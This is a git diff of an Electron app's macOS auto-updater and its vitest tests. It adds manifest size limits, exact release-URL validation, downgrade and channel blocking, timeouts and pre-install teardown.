await vi.advanceTimersByTimeAsync(0)
@@ -172,9 +183,11 @@ describe('initUpdater state machine', () => {
autoUpdaterMock.on.mockClear()
autoUpdaterMock.setFeedURL.mockClear()
autoUpdaterMock.checkForUpdates.mockClear()
autoUpdaterMock.checkForUpdates.mockImplementation(() => new Promise(() => {}))
autoUpdaterMock.downloadUpdate.mockClear()
autoUpdaterMock.quitAndInstall.mockClear()
autoUpdaterMock.autoRunAppAfterInstall = false
updaterChannel = ''
vi.mocked(dialog.showMessageBox).mockResolvedValue({ response: 1, checkboxChecked: false })
})
@@ -189,7 +202,8 @@ describe('initUpdater state machine', () => {
handle.install()
expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
emit('checking-for-update')
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('update-available', { version: '2.0.0' })
emit('download-progress', { percent: 41.7 })
emit('update-downloaded', { version: '2.0.0' })
@@ -211,12 +225,20 @@ describe('initUpdater state machine', () => {
autoUpdaterMock.autoDownload = false
const { handle } = await createUpdater({ autoDownload: false })
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('update-available', { version: '2.0.0' })
expect(handle.getState()).toEqual({ status: 'available', version: '2.0.0' })
handle.check()
expect(autoUpdaterMock.downloadUpdate).toHaveBeenCalledTimes(1)
expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled()
expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(1)
expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0' })
handle.check()
expect(autoUpdaterMock.downloadUpdate).toHaveBeenCalledTimes(1)
emit('download-progress', { percent: 41.7 })
expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0', percent: 42 })
emit('update-downloaded', { version: '2.0.0' })
expect(dialog.showMessageBox).not.toHaveBeenCalled()
@@ -224,6 +246,64 @@ describe('initUpdater state machine', () => {
expect(autoUpdaterMock.quitAndInstall).toHaveBeenCalledTimes(1)
})
it('surfaces a manually started download failure without installing', async () => {
autoUpdaterMock.downloadUpdate.mockRejectedValueOnce(new Error('download failed'))
const { handle } = await createUpdater({ autoDownload: false })
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('update-available', { version: '2.0.0' })
handle.check()
await vi.advanceTimersByTimeAsync(0)
expect(handle.getState()).toEqual({ status: 'error', version: '2.0.0' })
emit('update-downloaded', { version: '2.0.0' })
expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
})
it('awaits desktop teardown before Squirrel terminates the process', async () => {
let finishTeardown: (() => void) | undefined
const beforeInstall = vi.fn(
() =>
new Promise<void>((resolve) => {
finishTeardown = resolve
})
)
const { handle } = await createUpdater({ autoDownload: false, beforeInstall })
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('update-available', { version: '2.0.0' })
handle.check()
emit('update-downloaded', { version: '2.0.0' })
await vi.advanceTimersByTimeAsync(0)
expect(beforeInstall).toHaveBeenCalledTimes(1)
expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
finishTeardown?.()
await vi.advanceTimersByTimeAsync(0)
expect(autoUpdaterMock.quitAndInstall).toHaveBeenCalledTimes(1)
})
it('does not install when pre-install teardown fails', async () => {
const beforeInstall = vi.fn(async () => {
throw new Error('flush failed')
})
const { handle } = await createUpdater({ beforeInstall })
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('update-available', { version: '2.0.0' })
emit('update-downloaded', { version: '2.0.0' })
handle.install()
await vi.advanceTimersByTimeAsync(0)
expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
expect(autoUpdaterMock.autoInstallOnAppQuit).toBe(false)
expect(handle.getState()).toEqual({ status: 'error', version: '2.0.0' })
})
it('checks from idle and ignores re-entrant checks while busy', async () => {
const { handle } = await createUpdater()
handle.check()
@@ -250,6 +330,7 @@ describe('initUpdater state machine', () => {
autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'],
probeOriginFeed: async () => true,
canSelfUpdate: () => capability,
platform: 'darwin',
})
handle.check()
@@ -262,6 +343,9 @@ describe('initUpdater state machine', () => {
it('resets to idle when a downloaded update is a blocked downgrade', async () => {
const { handle } = await createUpdater()
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('update-available', { version: '2.0.0' })
emit('update-downloaded', { version: '0.0.1' })
expect(handle.getState()).toEqual({ status: 'idle' })
handle.install()
@@ -272,6 +356,8 @@ describe('initUpdater state machine', () => {
const { handle } = await createUpdater()
for (const version of ['1.0.0', '0.9.9', 'nightly', '2.0.0-dev.1']) {
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('update-available', { version })
expect(handle.getState()).toEqual({ status: 'idle' })
}
@@ -281,8 +367,12 @@ describe('initUpdater state machine', () => {
it('surfaces updater errors and recovers via update-not-available', async () => {
const { handle } = await createUpdater()
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('error', new Error('feed unreachable'))
expect(handle.getState()).toEqual({ status: 'error' })
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('update-not-available')
expect(handle.getState()).toEqual({ status: 'idle' })
})
@@ -297,6 +387,48 @@ describe('initUpdater state machine', () => {
channel: 'latest',
})
expect(autoUpdaterMock.channel).toBe('latest')
expect(autoUpdaterMock.allowDowngrade).toBe(false)
})
it('accepts only exact repository, tag, and artifact URLs from an origin feed', async () => {
const { handle } = await createUpdater({ feedAvailable: true })
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('update-available', {
version: '2.0.0',
files: [
{
url: 'https://github.com/simstudioai/sim/releases/download/v2.0.0/Sim-2.0.0-universal.zip',
sha512: 'checksum',
},
],
})
expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0' })
})
it('blocks an origin manifest that points at an unexpected release artifact', async () => {
const { handle } = await createUpdater({ feedAvailable: true })
handle.check()
await vi.advanceTimersByTimeAsync(0)
emit('update-available', {
version: '2.0.0',
files: [
{
url: 'https://github.com/simstudioai/sim/releases/download/v1.9.9/unreviewed.dmg',
sha512: 'checksum',
},
],
})
expect(handle.getState()).toEqual({ status: 'idle' })
expect(autoUpdaterMock.autoInstallOnAppQuit).toBe(false)
expect(events.record).toHaveBeenCalledWith('update_blocked_version', {
version: '2.0.0',
reason: 'unusable-url',
})
})
it('keeps the packaged GitHub feed when the origin has no feed', async () => {
@@ -347,6 +479,92 @@ describe('initUpdater state machine', () => {
expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled()
})
it('ignores a feed probe that resolves after its timeout generation', async () => {
let resolveProbe: ((available: boolean) => void) | undefined
const probeOriginFeed = vi.fn(
() =>
new Promise<boolean>((resolve) => {
resolveProbe = resolve
})
)
const { handle } = await createUpdater({ probeOriginFeed })
handle.check()
await vi.advanceTimersByTimeAsync(10_000)
resolveProbe?.(true)
await vi.advanceTimersByTimeAsync(0)
expect(handle.getState()).toEqual({ status: 'error' })
expect(autoUpdaterMock.setFeedURL).not.toHaveBeenCalled()
expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled()
})
it('gives the updater request a fresh timeout after a slow feed probe', async () => {
let resolveProbe: ((available: boolean) => void) | undefined
const probeOriginFeed = vi.fn(
() =>
new Promise<boolean>((resolve) => {
resolveProbe = resolve
})
)
const { handle } = await createUpdater({ probeOriginFeed })
handle.check()
await vi.advanceTimersByTimeAsync(9_000)
resolveProbe?.(true)
await vi.advanceTimersByTimeAsync(0)
await vi.advanceTimersByTimeAsync(9_999)
expect(handle.getState()).toEqual({ status: 'checking' })
await vi.advanceTimersByTimeAsync(1)
expect(handle.getState()).toEqual({ status: 'error' })
})
it('waits for a timed-out updater request to settle before retrying', async () => {
let resolveRequest: ((result: null) => void) | undefined
autoUpdaterMock.checkForUpdates.mockImplementationOnce(
() =>
new Promise<null>((resolve) => {
resolveRequest = resolve
})
)
const { handle } = await createUpdater({ feedAvailable: true })
handle.check()
await vi.advanceTimersByTimeAsync(10_000)
expect(handle.getState()).toEqual({ status: 'error' })
emit('update-available', { version: '2.0.0' })
emit('update-not-available')
expect(handle.getState()).toEqual({ status: 'error' })
handle.check()
await vi.advanceTimersByTimeAsync(0)
expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(1)
resolveRequest?.(null)
await vi.advanceTimersByTimeAsync(0)
handle.check()
await vi.advanceTimersByTimeAsync(0)
expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(2)
})
it('does not initialize the updater outside macOS', () => {
const loadAutoUpdater = vi.fn(
() => autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater']
)
const handle = initUpdater({
getWindow: () => null,
events,
appOrigin: () => 'https://sim.ai',
loadAutoUpdater,
platform: 'win32',
})
handle.check()
expect(loadAutoUpdater).not.toHaveBeenCalled()
expect(handle.getState()).toEqual({ status: 'idle' })
})
it('fails interactive checks promptly on prerelease builds when the origin feed is down', async () => {
// The GitHub fallback is stable-only: a Sim Dev shell can never apply a
// prod-identity artifact, so it must not check against it.
@@ -391,15 +609,53 @@ describe('initUpdater state machine', () => {
})
})
describe('readUpdateManifest', () => {
it('streams a manifest within the byte limit', async () => {
const response = new Response(
new ReadableStream<Uint8Array>({
start(controller) {
controller.enqueue(new TextEncoder().encode('version: '))
controller.enqueue(new TextEncoder().encode('1.2.3'))
controller.close()
},
}),
{ status: 200 }
)
await expect(readUpdateManifest(response)).resolves.toBe('version: 1.2.3')
})
it('rejects a manifest whose declared size exceeds the limit before reading', async () => {
const response = new Response('small body', {
status: 200,
headers: { 'content-length': String(256 * 1024 + 1) },
})
await expect(readUpdateManifest(response)).rejects.toThrow('size limit')
})
it('stops a streamed manifest once its body exceeds the limit', async () => {
const response = new Response(new Uint8Array(256 * 1024 + 1), { status: 200 })
await expect(readUpdateManifest(response)).rejects.toThrow('size limit')
})
it('does not read an unsuccessful response body', async () => {
const response = new Response('not found', { status: 404 })
await expect(readUpdateManifest(response)).resolves.toBeNull()
})
})
function manifest(version: string, repository = 'simstudioai/sim'): string {
return [
`version: ${version}`,
'files:',
` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal-mac.zip`,
` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.zip`,
' sha512: abc',
` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.dmg`,
' sha512: def',
`path: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal-mac.zip`,
`path: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.zip`,
"releaseDate: '2026-07-23T00:00:00.000Z'",
].join('\n')
}
@@ -416,6 +672,7 @@ describe('initUpdater manual mode (no Developer ID signature)', () => {
onStateChange: (state) => states.push(state),
canSelfUpdate: async () => false,
fetchManifest,
platform: 'darwin',
})
await vi.advanceTimersByTimeAsync(0)
return { handle, states }
@@ -454,23 +711,81 @@ describe('initUpdater manual mode (no Developer ID signature)', () => {
})
it('offers prerelease-repository assets as manual downloads', async () => {
vi.mocked(app.getVersion).mockReturnValue('1.0.0-dev.1')
const fetchManifest = vi.fn(async () =>
manifest('9.9.9-dev.1', 'simstudioai/sim-desktop-releases')
)
const { handle } = await createManualUpdater(fetchManifest)
try {
const { handle } = await createManualUpdater(fetchManifest)
handle.check()
await vi.advanceTimersByTimeAsync(0)
expect(handle.getState()).toEqual({
status: 'available',
version: '9.9.9-dev.1',
manual: true,
})
handle.check()
expect(shell.openExternal).toHaveBeenCalledWith(
'https://github.com/simstudioai/sim-desktop-releases/releases/download/v9.9.9-dev.1/Sim-9.9.9-dev.1-universal.dmg'
)
} finally {
vi.mocked(app.getVersion).mockReturnValue('1.0.0')
}
})
it('rejects a newer version from another update channel', async () => {
const { handle } = await createManualUpdater(async () =>
manifest('9.9.9-dev.1', 'simstudioai/sim-desktop-releases')
)
handle.check()
await vi.advanceTimersByTimeAsync(0)
expect(handle.getState()).toEqual({
status: 'available',
version: '9.9.9-dev.1',
manual: true,
})
expect(handle.getState()).toEqual({ status: 'idle', manual: true })
expect(shell.openExternal).not.toHaveBeenCalled()
})
it('rejects an allowed repository asset under a different release tag', async () => {
const mismatchedTag = manifest('9.9.9').replaceAll('/v9.9.9/', '/v9.9.8/')
const { handle } = await createManualUpdater(async () => mismatchedTag)
handle.check()
expect(shell.openExternal).toHaveBeenCalledWith(
'https://github.com/simstudioai/sim-desktop-releases/releases/download/v9.9.9-dev.1/Sim-9.9.9-dev.1-universal.dmg'
await vi.advanceTimersByTimeAsync(0)
expect(handle.getState()).toMatchObject({ status: 'error', manual: true })
expect(shell.openExternal).not.toHaveBeenCalled()
})
it('rejects unexpected asset names on the expected release', async () => {
const unexpectedName = manifest('9.9.9').replaceAll('Sim-9.9.9-universal', 'unreviewed-payload')
const { handle } = await createManualUpdater(async () => unexpectedName)
handle.check()
await vi.advanceTimersByTimeAsync(0)
expect(handle.getState()).toMatchObject({ status: 'error', manual: true })
expect(shell.openExternal).not.toHaveBeenCalled()
})
it('ignores a manifest that arrives after the manual check timeout', async () => {
let resolveManifest: ((manifestBody: string) => void) | undefined
const { handle } = await createManualUpdater(
() =>
new Promise<string>((resolve) => {
resolveManifest = resolve
})
)
handle.check()
await vi.advanceTimersByTimeAsync(10_000)
expect(handle.getState()).toEqual({ status: 'error', manual: true })
resolveManifest?.(manifest('9.9.9'))
await vi.advanceTimersByTimeAsync(0)
expect(handle.getState()).toEqual({ status: 'error', manual: true })
expect(shell.openExternal).not.toHaveBeenCalled()
})
it('refuses a manifest whose download urls are not http(s)', async () => {
@@ -596,6 +911,7 @@ describe('checkForUpdatesInteractive', () => {
appOrigin: () => 'https://www.dev.sim.ai',
canSelfUpdate: async () => false,
fetchManifest: async () => manifest(version),
platform: 'darwin',
})
await vi.advanceTimersByTimeAsync(0)
return handle
+231 -73
View File
@@ -15,9 +15,43 @@ const STABLE_CHECK_INTERVAL_MS = 30 * 60 * 1000
const UPDATE_CHECK_TIMEOUT_MS = 10_000
const INTERACTIVE_FEEDBACK_TIMEOUT_MS = 12_000
const FEED_STATUS_HEADER = 'x-sim-desktop-update-feed'
const MAX_UPDATE_MANIFEST_BYTES = 256 * 1024
export type UpdateChannel = 'latest' | 'staging' | 'dev'
/** Reads a small updater manifest without allowing an origin to fill main-process memory. */
export async function readUpdateManifest(response: Response): Promise<string | null> {
if (!response.ok) return null
const declaredLength = response.headers.get('content-length')
if (declaredLength !== null) {
const bytes = Number(declaredLength)
if (!Number.isSafeInteger(bytes) || bytes < 0 || bytes > MAX_UPDATE_MANIFEST_BYTES) {
throw new Error('Update manifest exceeded the size limit')
}
}
if (!response.body) return ''
const reader = response.body.getReader()
const decoder = new TextDecoder()
let bytesRead = 0
let manifest = ''
try {
while (true) {
const { done, value } = await reader.read()
if (done) break
bytesRead += value.byteLength
if (bytesRead > MAX_UPDATE_MANIFEST_BYTES) {
await reader.cancel()
throw new Error('Update manifest exceeded the size limit')
}
manifest += decoder.decode(value, { stream: true })
}
return manifest + decoder.decode()
} finally {
reader.releaseLock()
}
}
/**
* The per-environment update feed served by the Sim deployment this shell is
* pointed at (`/api/desktop/update/latest-mac.yml`). Each environment pins
@@ -39,26 +73,37 @@ export function feedUrlForOrigin(origin: string): string | null {
/**
* Where the feed rewrites every manifest entry to. Downloads are constrained to
* this prefix rather than to https alone, so a feed that serves an attacker's
* host cannot get a bundle in front of the user's Download button.
* the running channel's repository, the manifest version's tag, and the exact
* artifact names produced by the release workflow.
*/
const RELEASE_ASSET_ORIGIN = 'https://github.com'
const RELEASE_ASSET_PATHS = [
'/simstudioai/sim/releases/download/',
'/simstudioai/sim-desktop-releases/releases/download/',
] as const
const RELEASE_REPOSITORIES: Record<UpdateChannel, string> = {
latest: 'simstudioai/sim',
staging: 'simstudioai/sim-desktop-releases',
dev: 'simstudioai/sim-desktop-releases',
}
/** Whether a manifest url is one of our own release assets. */
function isReleaseAssetUrl(rawUrl: string): boolean {
function isReleaseAssetUrl(rawUrl: string, version: string, channel: UpdateChannel): boolean {
if (!isSafeExternalUrl(rawUrl)) return false
try {
const url = new URL(rawUrl)
// Compared on the parsed origin and the parsed pathname, never by prefix on
// the raw string: `https://github.com.evil.example/…` must not pass, and
// `URL` has already normalized away any `..` segments by this point.
const normalizedVersion = version.replace(/^v/, '')
const repository = RELEASE_REPOSITORIES[channel]
const releasePath = `/${repository}/releases/download/v${normalizedVersion}/`
const assetName = decodeURIComponent(url.pathname.slice(releasePath.length))
const expectedAssetNames = new Set([
`Sim-${normalizedVersion}-universal.dmg`,
`Sim-${normalizedVersion}-universal.zip`,
])
return (
url.origin === RELEASE_ASSET_ORIGIN &&
RELEASE_ASSET_PATHS.some((path) => url.pathname.startsWith(path))
url.username === '' &&
url.password === '' &&
url.search === '' &&
url.hash === '' &&
url.pathname.startsWith(releasePath) &&
!assetName.includes('/') &&
expectedAssetNames.has(assetName)
)
} catch {
return false
@@ -200,6 +245,10 @@ export interface UpdaterDeps {
canSelfUpdate?: () => Promise<boolean>
/** Test seam: overrides the manual-mode manifest fetch (body or null). */
fetchManifest?: (url: string) => Promise<string | null>
/** Test seam for the macOS-only updater gate. */
platform?: NodeJS.Platform
/** Flushes desktop-owned state before Squirrel terminates the process. */
beforeInstall?: () => Promise<void>
}
export interface UpdaterHandle {
@@ -237,7 +286,7 @@ export function isNewerVersion(candidateVersion: string, currentVersion: string)
}
/** A signed shell may only install a strictly newer build from its own environment stream. */
function isValidAutomaticUpdate(candidateVersion: string, currentVersion: string): boolean {
function isValidUpdateCandidate(candidateVersion: string, currentVersion: string): boolean {
return (
resolveUpdateChannel(candidateVersion) === resolveUpdateChannel(currentVersion) &&
isNewerVersion(candidateVersion, currentVersion)
@@ -300,6 +349,9 @@ interface UpdateEngine {
* download link, so the whole pipeline is testable before signing exists.
*/
export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
if ((deps.platform ?? process.platform) !== 'darwin') {
return NOOP_UPDATER_HANDLE
}
if (!app.isPackaged && !deps.loadAutoUpdater && !deps.canSelfUpdate) {
return NOOP_UPDATER_HANDLE
}
@@ -327,8 +379,11 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
return null
}
autoUpdater.channel = resolveUpdateChannel(currentVersion)
autoUpdater.allowDowngrade = false
const setChannelWithoutDowngrades = (channel: UpdateChannel) => {
autoUpdater.channel = channel
autoUpdater.allowDowngrade = false
}
setChannelWithoutDowngrades(resolveUpdateChannel(currentVersion))
autoUpdater.autoDownload = deps.autoDownload?.() ?? true
// Explicit Update actions must reopen Sim after Squirrel swaps the bundle.
autoUpdater.autoRunAppAfterInstall = true
@@ -338,40 +393,91 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
// silently installed on quit.
autoUpdater.autoInstallOnAppQuit = false
autoUpdater.logger = null
let installInFlight = false
let activeCheckId: number | null = null
let nextCheckId = 0
let checkTimeout: ReturnType<typeof setTimeout> | null = null
const finishCheck = () => {
activeCheckId = null
if (checkTimeout !== null) {
clearTimeout(checkTimeout)
checkTimeout = null
const quitAndInstall = () => {
if (installInFlight) return
if (!deps.beforeInstall) {
autoUpdater.quitAndInstall()
return
}
installInFlight = true
void Promise.resolve()
.then(() => deps.beforeInstall?.())
.then(() => autoUpdater.quitAndInstall())
.catch((error) => {
autoUpdater.autoInstallOnAppQuit = false
installInFlight = false
logger.error('Pre-install teardown failed', {
message: getErrorMessage(error, 'unknown'),
})
deps.events.record('update_error', { message: 'Pre-install teardown failed' })
setState({ status: 'error', version: state.version })
})
}
let activeProbeId: number | null = null
let nextProbeId = 0
let probeTimeout: ReturnType<typeof setTimeout> | null = null
let activeUpdaterCheckId: number | null = null
let nextUpdaterCheckId = 0
let updaterCheckTimeout: ReturnType<typeof setTimeout> | null = null
let updaterRequestId: number | null = null
let acceptedUpdateVersion: string | null = null
const finishProbe = (probeId: number) => {
if (activeProbeId !== probeId) return
activeProbeId = null
if (probeTimeout !== null) {
clearTimeout(probeTimeout)
probeTimeout = null
}
}
const finishUpdaterCheck = (checkId: number) => {
if (activeUpdaterCheckId !== checkId) return
activeUpdaterCheckId = null
if (updaterCheckTimeout !== null) {
clearTimeout(updaterCheckTimeout)
updaterCheckTimeout = null
}
}
autoUpdater.on('checking-for-update', () => {
if (activeUpdaterCheckId === null) return
setState({ status: 'checking' })
})
autoUpdater.on('update-not-available', () => {
finishCheck()
const checkId = activeUpdaterCheckId
if (checkId === null) return
finishUpdaterCheck(checkId)
if (updaterRequestId === checkId) updaterRequestId = null
installAfterDownload = false
setState({ status: 'idle' })
})
autoUpdater.on('update-available', (info) => {
finishCheck()
if (!isValidAutomaticUpdate(info.version, currentVersion)) {
const checkId = activeUpdaterCheckId
if (checkId === null) return
finishUpdaterCheck(checkId)
if (updaterRequestId === checkId) updaterRequestId = null
const channel = resolveUpdateChannel(currentVersion)
const validOriginAssets =
!originFeedConfigured ||
(info.files.length > 0 &&
info.files.every((file) => isReleaseAssetUrl(file.url, info.version, channel)))
if (!isValidUpdateCandidate(info.version, currentVersion) || !validOriginAssets) {
acceptedUpdateVersion = null
installAfterDownload = false
autoUpdater.autoInstallOnAppQuit = false
deps.events.record('update_blocked_version', {
version: info.version,
reason: 'not-newer',
reason: validOriginAssets ? 'not-newer' : 'unusable-url',
})
setState({ status: 'idle' })
return
}
acceptedUpdateVersion = info.version
deps.events.record('update_check', { available: info.version })
// With auto-download on, download-progress events follow immediately;
// `available` is the terminal state only when downloads are manual.
@@ -382,6 +488,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
})
autoUpdater.on('download-progress', (progress) => {
if (state.status !== 'downloading') return
setState({
status: 'downloading',
version: state.version,
@@ -390,24 +497,36 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
})
autoUpdater.on('update-downloaded', (info) => {
if (!isValidAutomaticUpdate(info.version, currentVersion)) {
if (state.status !== 'downloading' && !installAfterDownload) return
if (
acceptedUpdateVersion !== info.version ||
!isValidUpdateCandidate(info.version, currentVersion)
) {
acceptedUpdateVersion = null
installAfterDownload = false
autoUpdater.autoInstallOnAppQuit = false
deps.events.record('update_blocked_version', { version: info.version })
setState({ status: 'idle' })
return
}
acceptedUpdateVersion = null
autoUpdater.autoInstallOnAppQuit = true
deps.events.record('update_downloaded', { version: info.version })
setState({ status: 'ready', version: info.version })
if (installAfterDownload) {
installAfterDownload = false
autoUpdater.quitAndInstall()
quitAndInstall()
}
})
autoUpdater.on('error', (error) => {
finishCheck()
const checkId = activeUpdaterCheckId
if (checkId !== null) {
finishUpdaterCheck(checkId)
if (updaterRequestId === checkId) updaterRequestId = null
} else if (state.status !== 'downloading') {
return
}
installAfterDownload = false
deps.events.record('update_error', { message: getErrorMessage(error, 'unknown') })
setState({ status: 'error', version: state.version })
@@ -438,8 +557,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
})
type FeedResolution = 'origin' | 'fallback' | 'no-release' | 'skip'
let originFeedConfigured = false
let feedProbeInFlight: Promise<FeedResolution> | null = null
const resolveFeedForCheck = async (): Promise<FeedResolution> => {
const resolveFeedForCheck = async (probeId: number): Promise<FeedResolution> => {
if (originFeedConfigured) return 'origin'
const feedUrl = feedUrlForOrigin(deps.appOrigin())
const stableBuild = resolveUpdateChannel(currentVersion) === 'latest'
@@ -454,8 +572,9 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
if (!availability) {
throw new Error('feed responded non-OK')
}
if (activeProbeId !== probeId) return 'skip'
autoUpdater.setFeedURL({ provider: 'generic', url: feedUrl, channel: 'latest' })
autoUpdater.channel = 'latest'
setChannelWithoutDowngrades('latest')
originFeedConfigured = true
deps.events.record('update_feed', { url: feedUrl })
return 'origin'
@@ -469,64 +588,79 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
return stableBuild ? 'fallback' : 'skip'
}
}
const feedForCheck = (): Promise<FeedResolution> => {
if (originFeedConfigured) return Promise.resolve('origin')
if (feedProbeInFlight) return feedProbeInFlight
feedProbeInFlight = resolveFeedForCheck().finally(() => {
feedProbeInFlight = null
})
return feedProbeInFlight
const startUpdaterCheck = (interactive: boolean) => {
if (updaterRequestId !== null) {
if (interactive) setState({ status: 'error' })
return
}
const checkId = ++nextUpdaterCheckId
activeUpdaterCheckId = checkId
updaterRequestId = checkId
updaterCheckTimeout = setTimeout(() => {
if (activeUpdaterCheckId !== checkId) return
finishUpdaterCheck(checkId)
deps.events.record('update_error', { message: 'Update check timed out' })
if (state.status === 'checking') setState({ status: 'error' })
}, UPDATE_CHECK_TIMEOUT_MS)
autoUpdater
.checkForUpdates()
.then(() => {
if (updaterRequestId === checkId) updaterRequestId = null
if (activeUpdaterCheckId !== checkId) return
finishUpdaterCheck(checkId)
if (interactive && state.status === 'checking') setState({ status: 'error' })
})
.catch((error) => {
if (updaterRequestId === checkId) updaterRequestId = null
if (activeUpdaterCheckId !== checkId) return
finishUpdaterCheck(checkId)
logger.warn('Update check failed', { message: getErrorMessage(error, 'unknown') })
if (state.status === 'checking') setState({ status: 'error' })
})
}
return {
check(interactive = false) {
if (
activeCheckId !== null ||
activeProbeId !== null ||
activeUpdaterCheckId !== null ||
state.status === 'available' ||
state.status === 'downloading' ||
state.status === 'ready'
) {
return
}
const checkId = ++nextCheckId
activeCheckId = checkId
if (interactive) {
setState({ status: 'checking' })
}
checkTimeout = setTimeout(() => {
if (activeCheckId !== checkId) return
finishCheck()
deps.events.record('update_error', { message: 'Update check timed out' })
if (originFeedConfigured) {
startUpdaterCheck(interactive)
return
}
const probeId = ++nextProbeId
activeProbeId = probeId
probeTimeout = setTimeout(() => {
if (activeProbeId !== probeId) return
finishProbe(probeId)
deps.events.record('update_error', { message: 'Update feed probe timed out' })
if (state.status === 'checking') setState({ status: 'error' })
}, UPDATE_CHECK_TIMEOUT_MS)
void feedForCheck().then((feed) => {
if (activeCheckId !== checkId) return
void resolveFeedForCheck(probeId).then((feed) => {
if (activeProbeId !== probeId) return
finishProbe(probeId)
if (feed === 'no-release') {
finishCheck()
if (interactive && state.status === 'checking') setState({ status: 'idle' })
return
}
if (feed === 'skip') {
finishCheck()
if (interactive && state.status === 'checking') setState({ status: 'error' })
return
}
autoUpdater
.checkForUpdates()
.then(() => {
if (activeCheckId !== checkId) return
finishCheck()
if (interactive && state.status === 'checking') setState({ status: 'error' })
})
.catch((error) => {
if (activeCheckId !== checkId) return
finishCheck()
logger.warn('Update check failed', { message: getErrorMessage(error, 'unknown') })
if (state.status === 'checking') setState({ status: 'error' })
})
startUpdaterCheck(interactive)
})
},
advance() {
setState({ status: 'downloading', version: state.version })
autoUpdater.downloadUpdate().catch((error) => {
installAfterDownload = false
logger.warn('Update download failed', { message: getErrorMessage(error, 'unknown') })
@@ -534,7 +668,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
})
},
install() {
autoUpdater.quitAndInstall()
quitAndInstall()
},
setAutoDownload(enabled) {
autoUpdater.autoDownload = enabled
@@ -549,20 +683,32 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
const response = await net.fetch(url, {
signal: AbortSignal.timeout(UPDATE_CHECK_TIMEOUT_MS),
})
return response.ok ? await response.text() : null
return readUpdateManifest(response)
})
let downloadUrl: string | null = null
let checkInFlight = false
let activeCheckId: number | null = null
let nextCheckId = 0
let checkTimeout: ReturnType<typeof setTimeout> | null = null
const doCheck = async () => {
if (checkInFlight || state.status === 'available') return
checkInFlight = true
if (activeCheckId !== null || state.status === 'available') return
const checkId = ++nextCheckId
activeCheckId = checkId
downloadUrl = null
setState({ status: 'checking', manual: true })
checkTimeout = setTimeout(() => {
if (activeCheckId !== checkId) return
activeCheckId = null
checkTimeout = null
deps.events.record('update_error', { message: 'Manual update check timed out' })
setState({ status: 'error', manual: true })
}, UPDATE_CHECK_TIMEOUT_MS)
try {
const feedUrl = feedUrlForOrigin(deps.appOrigin())
const manifest = feedUrl ? await fetchManifest(`${feedUrl}/latest-mac.yml`) : null
if (activeCheckId !== checkId) return
const version = manifest ? (/^version:\s*(\S+)\s*$/m.exec(manifest)?.[1] ?? null) : null
if (!manifest || !version || !isNewerVersion(version, currentVersion)) {
if (!manifest || !version || !isValidUpdateCandidate(version, currentVersion)) {
setState({ status: 'idle', manual: true })
return
}
@@ -576,7 +722,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
const urls = Array.from(
manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm),
(m) => m[1]
).filter(isReleaseAssetUrl)
).filter((url) => isReleaseAssetUrl(url, version, resolveUpdateChannel(currentVersion)))
downloadUrl =
urls.find((url) => url.endsWith('.dmg')) ??
urls.find((url) => url.endsWith('.zip')) ??
@@ -597,10 +743,17 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
deps.events.record('update_check', { available: version, manual: true })
setState({ status: 'available', version, manual: true })
} catch (error) {
if (activeCheckId !== checkId) return
logger.warn('Manual update check failed', { message: getErrorMessage(error, 'unknown') })
setState({ status: 'error', version: state.version, manual: true })
} finally {
checkInFlight = false
if (activeCheckId === checkId) {
activeCheckId = null
if (checkTimeout !== null) {
clearTimeout(checkTimeout)
checkTimeout = null
}
}
}
}
@@ -628,7 +781,12 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
const canSelfUpdate = deps.canSelfUpdate ?? detectSelfUpdateCapability
void canSelfUpdate()
.catch(() => true)
.catch((error) => {
logger.warn('Could not detect self-update capability; using manual updates', {
message: getErrorMessage(error, 'unknown'),
})
return false
})
.then((capable) => {
engine = capable ? buildAutoEngine() : buildManualEngine()
if (!engine) {
+102 -1
View File
@@ -2,7 +2,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
import { BrowserWindow, systemPreferences } from 'electron'
import { BrowserWindow, dialog, systemPreferences } from 'electron'
